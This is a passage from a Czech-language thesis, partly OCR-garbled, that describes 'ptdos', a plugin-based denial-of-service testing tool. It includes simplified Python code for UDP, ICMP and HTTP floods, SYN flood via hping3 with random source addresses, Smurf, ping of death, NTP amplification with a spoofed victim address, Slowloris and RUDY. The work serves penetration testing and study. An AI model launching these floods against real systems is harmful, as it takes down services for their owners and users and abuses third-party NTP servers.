kovana ve vstupnich parametrech aplikace. Po dokonc¢eni utoku agent ulozi do pa-
meéti informace o probéhlém ttoku. Mezi ulozené informace patii napt. celkovy pocet
odeslanych paketti, délka utoku ¢i cas zahajeni a ukonceni utoku. Tyto informace
jsou vraceny zpét ridici ¢asti pro dalsi zpracovani.

Pri vyvoji ¢asti agenta, byl kladen velky diraz na budouci rozsititelnost, protoze
stale pribyvaji nové typy DoS utoki. Z toho divodu byla zvolena modularni ar-
chitektura, kdy jednotlivé utoky jsou pridavany jako na sobé vzajemné nezavislé
pluginy, coz velmi usnadnuje vyvoj novych tutokti, protoze neni nutné upravovat

ptvodni kod aplikace. VSechny pluginy jsou podrobnéji popsany v kapitole [2.7]

SProtokol HTTP vraci pii kazdém pozadavku tzv. status kédy. Status kéd 200 informuje o tom,

ze pozadavek byl ispésny a vraci zpét pozadovanou hodnotu dle typu pozadavku.[38]
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2.3 Komunikacni rozhrani

Rozhrani aplikace je prizpusobeno pro ovladani z terminalu. Aplikace je zavolana
prikazem ,,ptdos“ Za tento prikaz jsou pak vkladany jednotlivé vstupni parametry.
Seznam vsSech parametri je uveden v kapitole Vstupni parametry se lisi dle zvo-
leného DoS utoku. Zptsob komunikace aplikace se rtizni v zavislosti na tom, zda je
pozadovano vytvoreni JSON objektu nebo ne. Pokud ma byt JSON objekt vytvoren,
tzn. soucasti volani je parametr --json, tak je predpoklddano, ze dalsi zpracovani
dat bude probihat v externim systému, tudiz aplikace v terminalu neinformuje ob-
sluhu o aktualnich stavech pti provadéni utoku, ale pouze po dokonceni tkolu vy-
tiskne vytvoreny JSON objekt do termindlu, viz vypis 2.1} Pokud vsak JSON objekt
pozadovan neni, tzn. parametr --json ve volani neni obsazen, tak se predpoklada
rucni obsluha aplikace, coz znamena, ze vSechny informace o probihajicim ttoku bu-
dou pribézné zobrazovany v terminalu. Po dokonceni tikolu je do termindlu vytistén
vysledek o probéhlém ttoku, viz obr. 2.3

N - [ R (N P
1 10 20 A W N Y A QY A W | [ VA N AR N B A
| —/ /11 =700 120 11O O TN
S Y A VO N ) B V) IOy ) [N/ N\

|| ptdos vO.1

https://www.penterep.com

Measuring response time of 192.168.0.80 for 10 seconds before test starts
Average response time is 3.2 ms

Test started at Sun May 15 15:25:11 2022

CheckService monitoring started

CheckService monitoring stopped

Test finished

Test start: Sun May 15 15:25:11 2022

Test end: Sun May 15 15:26:12 2022

Attack type: udpflood

Destination: 192.168.0.80, port: 80, test duration: 60 seconds
Total of udpflood packets sent: 2093920

Total responses during test: 59

Successful responses during test: 59

Failure responses during test: ©

Percentage of successful responses during test: 100.0 %
Min response time during test: 1.99 ms

Max response time during test: 6.75 ms

Avg response time during test: 3.22 ms

Avg response time before test: 3.2 ms

Avg response time increase during test: 0.62 %
Destination server vulnerable: False

Obr. 2.3: Vypis informaci o ttoku aplikace ptdos do terminalu.
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"test_code":"udpflood",

"status":"0K",

"vulnerable":"true",

"data": {
"attack_start_time":"Sun May 15 16:30:11 2022",
"attack_end_time":"Sun May 15 16:31:12 2022",
"attack_duration":60,
"attack_destination":"192.168.0.80",
"attack_destination_port":80,
"attack_total_packets_sent":4392587,
"checkservice_total_responses":42,
"checkservice_successful_responses":20,
"checkservice_failure_responses":22,
"checkservice_successful_percentage":47.62,
"checkservice_response_time_ms_min":2.76,
"checkservice_response_time_ms_max":444.01,
"checkservice_response_time_ms_avg":54.98,
"checkservice_response_time_before_att_ms_avg":15.7,

"checkservice_response_time_diff_before_during_test_percentage":250.19

Vypis 2.1: JSON objekt aplikace ptdos pro stav ,,OK*.

Popis a vlastnosti JSON objektu pro API rozhrani

V ramci vytvoreni JSON objektu dokaze ptdos vytvorit dva zakladni typy objektt
a to pro stav, kdy je utok tspésné dokoncen, anebo pro stav, kdy pri realizaci ttoku
nastane chyba. VSechny polozky, které vytvoreny JSON objekt miize obsahovat jsou
popsany v tabulce 2.1} Vytvoreni JSON objektu se F{di dokumentaci systému Pente-
rep, viz elektronicka ptiloha prace. JSON objekt pro stav ,OK* obsahuje 4 zakladni
polozky — test_code, status, vulnerable a data, viz vypis[2.1] PoloZka test_code
obsahuje vzdy unikatni nazev provadéného testu, coz v pripadé ptdos znamena na-
zev provadéného DoS tutoku. V ramci polozky status je uveden stav testu, coz
je pii tomto typu objektu vzdy ,,OK*“. Cést vulnerable udava zranitelnost cilového
systému, ktery byl testovan (na ktery bylo itoceno pii DoS titoku), coz znamend zda
je dany cilovy systém zranitelny vuci provadénému testu (DoS dtoku). Pole data
je nejobsahlejsi polozkou, ktera obsahuje veskera relevantni data souvisejici s prova-
dénym testem. Obsah méni v zavislosti na provadéném testu. Pokud by pri provadéni
testu doslo k chybé, bude vraceny JSON objekt v chybovém tvaru, viz vypis [2.2]
Chybovy objekt je oproti uspésnému objektu znacné zjednodusen, protoze obsahuje
pouze 3 polozky a to test_code, status a message. Polozky test_code a status
maji stejnou funkci jako v predchozim pripadé, pouze s tim rozdilem, Ze status
obsahuje hodnotu ,error“. Polozka message v chybovém ptipadé informuje o tom,
jaka konkrétni chyba nastala.
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"test_code": "udpflood",
"status": "error",
"message": "65 No route to host"

Vypis 2.2: JSON objekt aplikace ptdos pro stav ,error”.

Tab. 2.1: Vlastnosti jednotlivych polozek JSON objektu.

Polozka Hodnota ‘ Popis

test_ code string nazev utoku evidovany v aplikaci
status string ,OK®, nebo ,error“ v zavislosti na stavu utoku
vulnerable bool true/false dle zranitelnosti cilového systému
data list of string | relevantni data vracend testem
message string kéd a popis chybové zpravy v pripadé, ze doslo k chybé

2.4 Vstupni parametry aplikace

Jako soucést spoustéciho prikazu aplikace je mozné specifikovat vstupni parametry,
které ovlivniuji chovani aplikace potazmo definuji parametry provadéného utoku.
Shrnuti vSech vstupnich parametri je uvedeno v tabulce[2.2] V tabulce je vzdy uve-
den nazev parametru, kli¢, kterym je parametr volan a popis parametru s definici
vstupnich dat. Ne vSechny vstupni parametry jsou aplikovatelné na vsechny utoky,
podrobnéjsi pritazeni parametria k utoktim je uvedeno v napovédé aplikace. Ve vy-
pisu [2.3] je priklad volani aplikace pro provedeni ttoku UDP flood, cilem ttoku
je webovy server s IP adresou 192.168.0.214 a portem 80. Délka trvani utoku je
600 sekund. Velikost datové ¢asti UDP datagramu je 2048 bajti a po dokonceni
ttoku bude vytvoren JSON objekt s informacemi o probéhlém ttoku, viz vypis [2.1]

ptdos -a udpflood -dst 192.168.0.214 -dp 80 -d 600 --data-length 2048 --json

Vypis 2.3: Ukazka volani aplikace ptdos a utoku UDP flood.

2.5 Struktura aplikace, modulii a vlastnich knihoven

Spusténi aplikace se provadi zavolanim souboru ptdos.py, kde probiha nacteni
vsech pluginti utokt, sestaveni napovédy, zpracovani vstupnich parametrii, vybér
a nasledné spusténi pozadovaného tutoku. Popis jednotlivych ¢asti aplikace vychazi

ze zékladni adresafové struktury zdrojového kodu, kterd je uvedena v piiloze [B]
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Tab. 2.2: Specifikace vSech vstupnich parametri aplikace ptdos.

Nazev parametru ‘ Kli¢ ‘ Popis

Typ ttoku -a Definuje jaky typ utoku bude proveden.

Délka trvani utoku -d Udéva dobu trvani atoku ve vterinach.

Cil atoku -dst | IP adresa nebo URL cilového systému.

Cilovy port -dp | Port cilového systému.

Velikost datové c¢asti -dl Urcuje velikost datové ¢asti jednotky, uddvano v bajtech.
Skryti identity -SS Zakryje zdrojovou IP a port.

Vsesmérova adresa -bc | IP adresa lokdlni vSesmérové adresy sité.

Pocet soketu -sq Pocet sokett, které maji byt pfi atoku udrzovany oteviené.
Velikost prodlevy -st Udéva dobu prodlevy mezi odeslanim dalsich pakett.
Télo -body | Télo pozadavku.

Parametry dotazu -gs Parametry specifikovidny ve tvaru parl=vall&par2=val2.
Vytvoreni JSON objektu - Udéva zda bude vytvoren JSON objekt.

Verze programu ptdos -v Vypise aktudlni verzi programu.

Help menu -h Vypise help menu programu.

V korenovém adresati zdrojového kddu se nachazi soubor requirements. txt ob-
sahujici externi knihovny, které jsou aplikaci vyzadovany. Knihovny je nutné stah-
nout pred spusténim aplikace. Soubor README.MD obsahuje popis aplikace, navod
k instalaci a ukazku spoustécich prikazi jednotlivych utokt. V souboru setup.py
je obsazena konfigurace skriptu pro vytvoreni balicku pip. Pro moznost vytvaret
utoky nezavisle na ptuvodnim kédu aplikace je nutné sestavit plugin architekturu,
ktera je definovana ve slozce infrastructure. V souboru attack.py je definovana
zakladni kostra jednotlivych utokt, které budou pridavany jako samostatné pluginy.
V souborech loader.py a factory.py probihd nacteni pluginii a nasledné jejich
vytvoreni, tak aby s nimi mohlo byt ddle nakladano v ramci aplikace. Nacitani a vy-
tvoreni utokl z plugint je volano v ptdos.py a probiha pred spusténim aplikace.
Seznam vsech pluginti, které maji byt nacteny, je definovan v konfigura¢nim sou-
boru config. json. Diky tomu, Ze se pluginy nacitaji dynamicky z konfigura¢niho
souboru, neni nutna tprava zdrojového kédu pri pridani nového pluginu, vSechny
utoky jsou dostupné v poli objekt attacks. Princip nac¢teni plugint utoku a spus-
téni aplikace v ptdos.py je uveden ve vypise Ve slozce plugins se nachazi
pluginy utoki, kdy kazdy plugin je samostatny ttok v samostatném souboru. V pfi-
padé rozsiteni aplikace o novy ttok je tfeba vytvorit pouze novy plugin a ten pri-
dat do konfiguracniho souboru config. json. Podrobny popis jednotlivych plugint

je uveden v kapitole 2.7} Slozka monitoring obsahuje soubor ptcheckservice.py
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def main() -> None:
"""Nacéti a zaregistruj pluginy, zpracuj vstupni param., spust aplikaci. """
with open("config.json") as file:
data = load(file) # nacéti konfiguraéni soubor
loader.load_plugins (data["plugins"]) # nacdti pluginy ze souboru
attacks = [factory.create(item) for item in data["attacks"]]

# vytvoT dtoky

script = PtDos(vars(parse_args (attacks))) # zpracuj vstupni parametry

script.run(attacks) # spust aplikact

Vypis 2.4: Plugin architektura a spusténi aplikace v souboru ptdos.py.

definujici zdrojovy kod monitorovaci sluzby, ktera je spolecna pro vsechny ttoky. Po-
drobnéji je monitorovaci sluzba popsana v kapitole 2.6 Slozka misc obsahuje vlastni
knihovny jednotlivych protokolii, které jsou vyuzivany napri¢ vSemi utoky. Divo-
dem pro vytvoreni oddélenych knihoven bylo omezeni zbytecné duplikace zdrojového
koédu, zvyseni jeho prehlednosti a citelnosti. Soucasti slozky jsou i konfiguracéni sou-
bory obsahujici seznam N'TP servert pro zesilovaci itok NTP a soubor uzivatelskych

agentil vyuzivanych pri utocich s protokolem HTTP.

2.6 Monitorovaci sluzba check service

Zdrojovy kéd monitorovaci sluzby check service se nachézi v samostatném sou-
boru ptcheckservice.py v adresari ptdos\monitoring. Hlavnim tkolem sluzby
je v oddéleném vlakné monitorovat cilovy systém v prabéhu testovani. Divodem
pro monitorovani je ziskat prehled o stavu cilového systému, zda je dostupny anebo
zda jiz doslo k odepreni sluzby. Pred zahajenim tutoku je spusténa prvni ¢ast mo-
nitorovani, kterd méri prumérnou dobu odezvy cilového systému v klidovém stavu.
Druha ¢ast monitorovani je zapnuta soucasné s utokem a s nim také konci. Po do-
konc¢eni monitorovani probiha vyhodnoceni a srovnani zméfenych hodnot z obou
¢asti monitorovani. Data z tohoto vyhodnoceni jsou dale pridana do JSON ob-
jektu, viz vypis 2.1} anebo jsou vytiSténa obsluze do termindlu, viz obr. 2.3} Pro
monitorovani cilového systému je vytvorena tiida CheckService, ktera obsahuje
funkei call_checkservice_repeatedly, jenz je zobrazend ve vypise 2.5 Protoze
je funkce soucasti tiidy, tak neméa definované vstupy, ale pracuje jiz s objekty, které
se v této tridé nachazi. Do proménné url je ulozena zformatovand URL adresa
cilového systému. Funkce formaturl kontroluje, zda je v URL obsazen protokol.
Pokud ne, tak je podle pouzitého portu doplnén protokol HTTP. Funkce loop()
obsahuje cyklus while, ktery bézi dokud neni zastaven. Soucasti cyklu je periodické
volani funkce getResponse (url), ktera prijima na vstupu url cilového systému. Tato
funkce kazdym volanim odesila HTTP pozadavek typu GET. Pokud je cilovy server
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def call_checkservice_repeatedly(self):
stopped = Event ()

url = formaturl(self.destination, self.dstport)
def loop():
while not stopped.wait(1):
response = getResponse (url)
# 200 je UK status pro HTTP, znamend to server je na Zivu
if respomnse[0] == 200:
self.conndata_success.append(response)
response = ()
else:

self.conndata_failure.append(response)
response = ()

Thread (target=1loop) .start ()

return stopped.set

Vypis 2.5: Monitorovaci funkce sluzby check service.

dostupny, tak je vracena hodnota 200, stav 0K. Jakmile je odpovéd jakékoliv jina,
tak je cilovy server povazovan za nedostupny. V neposledni fadé je vytvoreno nové
asynchronni vlakno pro funkci loop(), ¢imz je zajistén béh monitorovani na pozadi
provadéného DoS ttoku. Vsechna monitorovaci data jsou uklddana do samostatnych
poli conndata_success a conndata_failure, ze kterych pak probiha vycitani dat
pri vyhodnoceni monitoringu. Protoze data v poli conndata_success obsahuji také
dobu odezvy, muze byt spocitani minimalni, maximalni a primérna doba odezvy

pro uspésné pozadavky.

2.7 \Vyvoj vlastnich plugini DoS utokii

Vsechny pluginy utoki jsou ulozeny ve slozce plugins. Kazdy plugin obsahuje da-
tovou tfidu a pomocnou registrovaci metodu, register, ktera se vyuziva pri naci-
tani plugini dtokd v ramci spusténi aplikace ptdos. Datova tiida je vzdy vzta-
zena ke konkrétnimu typu implementovaného tutoku, pricemz kazda tiida obsa-
huje tii zakladni metody, kterymi jsou spusténi ttoku, launch_attack, vytvoreni
své napovedy, make_help, a specifikace vstupnich parametri, make_args. Metoda
launch_attack, kterda obsahuje zdrojovy kéd daného tutoku, je volana z ovlada-
ciho souboru ptdos.py. Vstupnimi parametry pro tuto metodu jsou parametry de-
finované spoustécim prikazem aplikace. V sekcich jednotlivych plugint je prevazné
popisovan zdrojovy kod nachézejici se v této metodé. Veskera sifova komunikace
jednotlivych dtoki je fesena pomoci knihovny Socketﬂ coz je nativni knihovna ja-
zyka Python, ktera slouzi ke konfigurace sitového rozhrani. Vyjimkou je pouze ttok

SYN flood, ktery vyuziva externi nastroj hping3. Pro komunikaci s cilovym systé-

"https://docs.python.org/3/library/socket.html
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mem je nutné vzdy vytvorit tzv. socket, kde je uvedena zminéna konfigurace siftového
rozhrani. Konfigurace socketu se lisi napfri¢ utoky, proto probiha v samostatném sou-
boru pt_socket.py, ktery se nachazi ve slozce misc. Utelem metody make_help je
vytvoreni napovédy pro dany utok. Vystupni data z metody jsou zpracovany v casti
ptdos.py, kde je sestavena napovéda pro celou aplikaci, pricemz kazdy titok ma svou
vlastni sekci. Principialné je metoda make args velmi podobnd predchozi metodeé.
S tim rozdilem, Ze make_args slouzi k definovani ptidavnych vstupnich parametri.
V hlavni ¢asti ptdos.py jsou definovany zékladni vstupni parametry, které jsou
po spusténi aplikace rozsifeny o pridavné parametry z jednotlivych ttoku (plugini).
Ke kazdému z plugini utoku jsou prilozeny ukazkové zdrojové kody. Tyto ukazky
jsou pro tucely vysvétleni principu ttokl znacné zjednoduseny a nejsou kompletni.
V ramci popisu kazdého z pluginii jsou vzdy uvedeny konkrétni zdrojové soubory,
kde se nachézi kompletni kod véetné inicializace vsech pouzitych proménnych, oset-

feni chybovych stavi apod.

2.7.1 Plugin SYN flood

Hlavni zdrojovy kéd utoku je v souboru synflood.py. Principem utoku je vygene-
rovat, co nejvétsi mnozstvi TCP SYN segmentti. Pro generovani segmenti je vyu-
zivan externi nastroj hping3. Ze vstupnich parametrii spoustéciho ptrikazu je sesta-
ven prikaz pro spusténi nastroje hping3, protoze hping3 neumoziuje nastavit dobu
béhu utoku, tak je nutné tuto ¢ast osetrit v ramci aplikace ptdos. Z toho divodu
se vyuziva knihovna subprocess, ktera umoznuje ovladani aplika¢niho vybaveni
hostovaciho stroje pifmo pomoci jazyka Python. Utok je vytvofen jako podproces,
coz umoznuje mit nad utokem plnou kontrolu a je mozné jej dle potreby ukoncit.
Pokud by byl ttok spustén jako obycejny prikaz zaslany do terminalu s vyuzitim
Python knihovny os, tak by nebylo mozné takto vytvoreny proces ukoncit, pro-
toze by nad nim aplikace neméla primou kontrolu. Zjednoduseny princip je popsan
ve vypisu [2.6] kde je nejprve sestaven prikaz pro nastroj hping3, ktery je nasledné
uloZzen do proménné hpingcmd. Poté je vytvoren podproces, ktery spousti ulozeny
prikaz v hpingemd. V tuto chvili je na pozadi spustén ttok a aplikace ¢eka po dobu
duration, ktera byla specifikovana ve spoustécim prikazu, jakmile tento ¢as vyprsi,

tak je podproces aplikace hping3 ukoncen a tim je ukoncen i itok SYN flood.

2.7.2 Plugin UDP flood

Zdrojovy kod ttoku se nachazi v souboru udpflood.py. Ve vypisu[2.7 je znazornén
zjednoduseny princip utoku. Pomoci funkce create_socket (), do kterého vstupuje
nazev utoku specifikovany proménou name, je vytvoren a inicializovan socket pro-

tokolu UDP. Poté jsou do proménné payload vygenerovany data, ktera slouzi jako
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hpingecmd = f"hping3 -S --flood -V -d {payload_len} -p {dstport} {dstl}"
if spoof_src:

hpingcmd += " --rand-source"
proc = subprocess.Popen(hpingcmd.split (), stdout=subprocess.PIPE, stderr=subprocess
. STDOUT)

sleep (duration) # pockej po dobu trvani utoku

proc.terminate() # <-- ukonci proces, obdoba ctrl+c v terminalu

Vypis 2.6: Realizace utoku SYN flood pomoci nastroje hping3.

datova cast jednotlivych UDP datagramii. Velikost datové c¢asti je specifikovana pro-
ménnou payload_len. V neposledni fadé je v cyklu while volana funkce sendto,
kterd na vstupu prijima datovou ¢ast datagramu ulozenou v proménné payload,
jez néasledné odesila jako UDP datagram na cilovy systém. Ten je specifikovan IP
adresou a portem ulozenych v proménnych dst a dstport. Cyklus while se neustdle
opakuje, dokud neni utok ukoncen.

sock = create_socket (name) # wytvo7 socket UDP
payload = generate_payload(self.name, payload_len). # wygeneruj ndhodnd data
while True:

sock.sendto (payload, (dst, dstport)) # odesli data na cilovy systém

Vypis 2.7: Princip utoku UDP flood.

2.7.3 Plugin HTTP GET flood

Zdrojovy kod ttoku je ulozen v souboru httpgetflood.py. Nejprve je nutné sesta-
vit HT'TP pozadavek typu GET, ten kromé URL cilového systému obsahuje také
dalsi URL parametry jako jsou parametry (query) a cesta (path). Takto vytvoreny
pozadavek je ulozen do proménné request, viz vypis 2.8 Protoze HTTP pouziva
transportni protokol TCP, musi byt sestaveno s cilovym systémem spojeni, k tomu
se vyuziva knihovna socket a funkce connect, ktera vytvori spojeni TCP mezi hosto-
vacim strojem a cilovym systémem definovanym pomoci IP adresy a portu. Jakmile
je spojeni vytvorené, tak se smycce while neustale odesilaji GET pozadavky na ci-
lovy systém, dokud neni cyklus ukoncen. Protoze je spojeni jiz vytvorené, tak neni
nutné ve funkci send specifikovat IP adresu a port cilového systému.

# wvytvorT htitp GET poZadavek

request = create_request("GET", url.hostname, url.query, url.path)
sock = create_socket (self.name) # vytvorT socket

sock.connect ((url.hostname, url.port or 80)). # sestav TCP spojent
while True:

sock.send (request) # odeSli data na cilovy systém

Vypis 2.8: Princip utoku HTTP GET flood.
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2.7.4 Plugin HTTP HEAD flood

Principidlné se tento utok velmi podoba ttoku HTTP GET flood, ktery je popsan
v predchozi kapitole [2.7.3] Rozdil je pri vytvareni HTTP pozadavku, kde je zvolena
metoda HEAD. Zdrojovy kdd tohoto ttoku je uloZzen v souboru httpheadflood.py.

2.7.5 Plugin HTTP POST flood

Protoze utok HTTP POST flood opét vyuziva protokol HTTP, tak je princip po-
dobny predchozim utokim. Rozdilem je vytvoreni pozadavku typu POST, do kte-
rého navic vstupuje proménna body, viz vypis 2.9) Ta obsahuje télo pozadavku,
které je odesilano na cilovy systém. Proménna body miize obsahovat tfeba data
webového formulare, ktery muze byt zneuzit v rdmci tohoto typu utoku. V souboru

httpostflood.py se nachazi zdrojovy kod.

# wvytvor http POST poZadavek
request = create_request ("POST", url.hostname, query, url.path, body)

Vypis 2.9: Vytvoreni HTTP pozadavku typu POST.

2.7.6 Plugin ICMP flood

Utok ICMP flood je daldim ze skupiny zéplavovych tGtokt. Protoze se vyuziva proto-
kol ICMP, ktery pracuje na sitové vrstveé, tak se v ramci vytvareni socketu nevyuziva
zadny transportni protokol, ale pfimo protokol ICMP. Zdrojovy kod je ulozen v sou-
boru icmpflood.py. Ve vypisu[2.10]je uveden princip ttoku. Aby nedoslo k zahlceni
utociciho stroje ICMP odpovédmi, je nutné podvrhnout zdrojovou IP adresu, coz
je uvedeno na druhém radku zdrojového kédu. Zdrojova IP adresa je nahodné vy-
generovana. Déale je vytvorena ICMP c¢ast paketu pomoci create_icmp_packet (),
do které vstupuje nézev titoku (name) a velikost délky datové ¢asti (payload_len),
vystup je ulozen do proménné icmp. Nasleduje vytvoreni IP ¢asti paketu a ulozeni
do proménné ip pomoci funkce create_ip_packet (). Do této funkce je dosazena
podvrzena zdrojova IP adresa (src), IP adresa cilového systému (dst) a také ICMP
¢ast paketu vytvorend v predchozim kroku na fadku 3 (icmp). Nakonec je funkei
get_packet () sestaven finalni paket, ktery je ulozen do proménné make_ packet.
Takto vytvoreny paket je odesilan na cilovy systém funkei sendto, kterd je umis-
téna v cyklu while. Ve vstupnich parametrech funkce sendto je nahrazen cilovy

port za ¢islo 1 a to z toho divodu, ze protokol ICMP nepracuje s porty.

2.7.7 Plugin Smurf

Smurf je strukturou podobny ttoku ICMP flood. Zasadnim rozdilem je, ze Smurf vy-

uziva pro zesileni sily utoku vSesmérovou adresu lokélni sité, ktera je specifikovana
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sock = create_socket(self.name) # inicializace icmp socketu

src = set_src_ip(spoof_src) # podurhni zdrojovou IP adresu
icmp = create_icmp_packet(name, payload_len) # wvytvor ICMP cast paketu
ip = create_ip_packet(src, dst, icmp) # vytvor IP é&dst paketu

make_packet = ip.get_packet() # sestav paket
while True:
sock.sendto (make_packet, (dst, 1)) # odedli data na cilovy systém

Vypis 2.10: Princip ICMP flood utoku.

ve vstupnich parametrech aplikace. Zdrojovy kod je dostupny v souboru smurf.

py. Ve vypise [2.11] je znazornén princip utoku. Na tadku 2 je sestaven IP paket,

jehoz zdrojova IP adresa je IP adresa cilového systému (dst) a cilova adresa je vSe-
smérova IP adresa lokdlni sité (brdct). Duvodem je, aby vSechny ICMP ECHO
pozadavky, zaslané itoc¢nikem, byly vSesmérovou IP adresou rozeslany vsem zatize-
nim v siti. Nasledné ICMP ECHO odpovédi budou jednotlivymi zafizenimi v siti
zasilany na zdrojovou IP adresu, coz je IP adresa cilového systému.

# cilovy systém je zdrojovd IP, vSesmérovda IP je cilovd IP
ip = create_ip_packet(dst, brdct, icmp)
while True:
sock.sendto(ip.get_packet (), (brdct, 1)) # viesmérovd adresa jako cil

Vypis 2.11: Princip Smurf dtoku.

2.7.8 Plugin Ping of death

Stejné jako predchozi dva ttoky, tak rovnéz Ping of death vyuziva protokol ICMP.
Zakladni struktura utoku je v zasadé velmi podobnd ttoku ICMP flood. Pii tomto
typu ttoku je hlavni odlisnosti velikost datové ¢asti (payload_len) ICMP paketu,
kterd presahuje jeji maximalni povolenou velikost, coz zplsobi fragmentaci paketu
a nasledné problémy pii sestaveni celého paketu na strané cilového systému. Dalsi
pokracovani utoku je stejné jako u ostatnich zaplavovych utokt a to vygenerovat
maximalni mnozstvi datového provozu za pomoci funkce pro odesilani dat umisténé

v cyklu while. Zdrojovy kdd je ulozen v souboru pingofdeath.py.

2.7.9 Plugin zesilovaciho utoku NTP

P1i tomto typu utoku se vyuzivaji v internetu volné dostupné NTP servery, které
slouzi jako zesilovaci faktor sily utoku. V souboru ntp_servers.json je ulozen
seznam doménovych jmen NTP serverii, které jsou pii utoku vyuzivany, divo-
dem pro vyuziti samostatného souboru bylo zvyseni prehlednosti zdrojového kodu
a zejména usnadnéni procesu pridavani novych serverti do seznamu. Zdrojovy koéd

je ulozen v souboru ntpampl.py. Jak bylo popsano v teoretické casti, viz kapitola
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[1.7.9] tak pro zesileni Gtoku se zneuziva procedura MON_GETLIST protokolu NTP,
kterd na pozadavek o malé velikosti vrati odpoveéd o velikosti nékolikanasobné vyééﬂ
nez byl puvodni pozadavek. Aby k tomuto zneuziti mohlo dojit, tak je treba pod-
vrhnout zdrojovou IP adresu pozadavku, ktery bude odeslan na NTP server, za IP
adresu cilového systému. To zptsobi, ze nasledna zesilena odpovéd bude smérovana
na cilovy systém a ne zpét utocnikovi. Tato ¢éast, véetné vytvoreni NTP pozadavku,
je vytvofena pomoci funkce create_ntp_packet_list (), viz vypis [2.12]

def create_ntp_packet_list(dst):

"""Yytvor seznam NTP jednotek, ktery je wrdcen na vystupu"""

ntp_servers_list = load_ntp_servers() # nacti NTP servery z ntp_servers.json
for ntp_server in ntp_servers_list:
packet = create_ntp_packet(ntp_server, sport, dst)
ntp_packet_list.append(NtpPacket (packet, ntp_server, sport))

return ntp_packet_list

ntp_packets = create_ntp_packet_list(dst) # wvytvor NTP jednotky

sock = create_socket (self.name) # inicializace udp socketu

while True:
element = choice(ntp_packets) # wvyber nahodnou NTP jednotku
sock.sendto(element.ntp_packet, (element.ntp_server_ip, element.sport))

# odeSli data ma NTP server s podvrZenou zdrojovou IP adresou cilového systému

Vypis 2.12: Princip zesilovaciho utoku NTP.

Ve funkci create_ntp_packet_list() jsou nejprve nacteny vSechny dostupné
NTP servery ze souboru ntp_servers. json. Poté je pro kazdy nacteny N'TP server
vytvoren NTP paket, kde je nastaven zdrojovy a odchozi port i IP adresa. Néasledné
je NTP paket prilozen do seznamu N'TP pakett ntp_packet_list. Takto vytvoreny
seznam je vracen na vystupu funkce a ulozen do proménné ntp_packets, viz fadek
9, prilozené ukazky zdrojového kdédu. Na radku je 10 je inicializovan socket slouzici
pro komunikaci, ten je typu UDP, protoze UDP je vyuzivano jako transportni pro-
tokol protokolu NTP. V posledni ¢asti ukazky zdrojového kédu je definovan while
cyklus, ve kterém probiha neustalé odesilani dat na cilovy systém. Nejprve je na-
hodné vybrana datova jednotka ze seznamu ntp_packets, ktera je nasledné odeslané
na cilovy systém pomoci funkce sendto. Divodem, proc se pri utoku vyuziva vice
NTP serverti soucasné je, ze jakmile by byl v ramci titoku vyuzivan pouze jeden
NTP server, tak by hrozilo riziko rozpoznani zvyseného datového toku z jedné IP
adresy a NTP server by mohl komunikaci ukoncit. Tim, Ze je vyuzito vice NTP
servert, tak je datovy tok rozlozen mezi né, coz by mélo riziko ukonceni komunikace

NTP serverem snizit.

80dpovéd miize byt zndsobena aZ o zesilovaci faktor 556,9, viz tabulka
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sockets_list = [create_slowloris_socket(dst_ip, dstport, my_user_agents,
my_accept_lang, self.name) for _ in range(socksquant)]
while True:
for socket_item in sockets_list: # obnov wsSechna spojent
try:
socket_item.send(f"X-a: {generate_string(4)}\r\n".encode("utf-8"))
except:
sockets_list.remove(socket_item) # odeber nefunkini spojent

for in range (socksquant - len(sockets_list)): # dopln spojeni do drouné

socksquant
sock = create_slowloris_socket(dst_ip, dstport, my_user_agents,
my_accept_lang, self.name)
sockets_list.append(sock)
sleep(sleeptime) # pozastav cyklus

Vypis 2.13: Princip pomalého logického utoku Slowloris.

2.7.10 Plugin Slowloris

V ramci ttoku Slowloris vytvari itocnik spojeni s cilovym serverem, mnozstvi téchto
spojeni je definovano ve spoustécim ptikazu, v ramci ukazky zdrojového kodu
je tato hodnota zastoupena proménnou socksquant. Zdrojovy koéd ttoku je do-
stupny v souboru slowloris.py. Prvnim ¢asti titoku je vytvoreni pozadovanych spo-
jeni s cilovym systémem. Spojeni jsou vytvorena funkci create_slowloris_socket
() a nasledné jsou ulozena do seznamu sockets list, viz tadek 1, zdrojového
kodu Soucasti inicializace spojeni je rovnéz zahajeni komunikace s cilovym
systém skrz HTTP pozadavek typu GET, ktery je zaslan na cilovy server. V cyklu
while, ktery bézi po dobu trvani utoku, je definovdna obnova vytvorenych spo-
jeni. Pro kazdé spojeni v seznamu sockets_list jsou pomoci funkce send zaslana
na cilovy systém nadhodna data s cilem udrzet spojeni oteviené, viz fadek 5. Pokud
je z jakéhokoliv duvodu spojeni nedostupné, tak nastane vyjimka (except) a spojeni
je ze seznamu sockets_list odebrano. Po dokonceni obnovy vytvorenych spojeni
dojde k vytvoreni novych spojeni, které jsou nahradou za odebrané spojeni v ramci
obnovy. Cilem je vzdy udrzet otevieny pocet otevienych spojeni definovanych pro-
ménnou socksquant, viz cyklus for na fadku ¢. 8. Posledni ¢asti zjednoduseného
principu ttoku je tadek ¢. 11, kde je pomoci funkce sleep nastaveno pozastaveni
cyklu while z divodu vlozeni pauzy mezi jednotlivymi obnovami vytvotrenych spo-
jeni. Doba pauzy je definovana ve spoustécim ptikazu, v ramci vypisu se jedna

o proménnou sleeptime.

2.7.11 Plugin RUDY

Utok je principidlné podobny predchozimu ttoku Slowloris, protoze i v ramei RUDY

je s cilovym systémem vytvareno velké mnozstvi spojeni. Rozdilem vsak je, ze ttok
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RUDY vyuziva pro vytvoreni spojeni pozadavek HTTP typu POST, ktery predava
cilovému systému informaci o velmi rozmérné datové ¢asti hlavicky a nasledna data
zasila velmi pomalu, ¢imz udrzuje vytvorend spojeni oteviena. Jednotliva spojeni
jsou pri utoku RUDY vytvarena jako samostatna vldkna, kde je spousténa funkce
do_rudy_attack(). Priklad této funkce je uveden ve vypisu [2.14] Kompletni zdro-
jovy kod utoku RUDY se nachazi v souboru rudy. py.

def do_rudy_attack(self, url, dst_ip, dstport, my_user_agents, sleeptime,
err_proc_list):
"""Funkce realtizujtici wtok RUDY."""
sock = create_socket(self.name) # inicializace tcp socketu
sock.connect ((dst_ip, dstport or 80)) # sestaveni spojent
request = rudy_request(url, my_user_agents) # vytvor POST pozZadavek
sock.send(request) # odesli POST poZadavek

while True:

try:
sleep(sleeptime) # pozastav cyklus
sock.send(generate_string (1) .encode ("UTF-8")) # posli data
except:

err_proc_list.append(os.getpid()) # oznal proces ke smazant

break

Vypis 2.14: Princip pomalého logického ttoku RUDY.

Pri vytvoreni nového spojeni s cilovym systémem je nejprve inicializovan novy
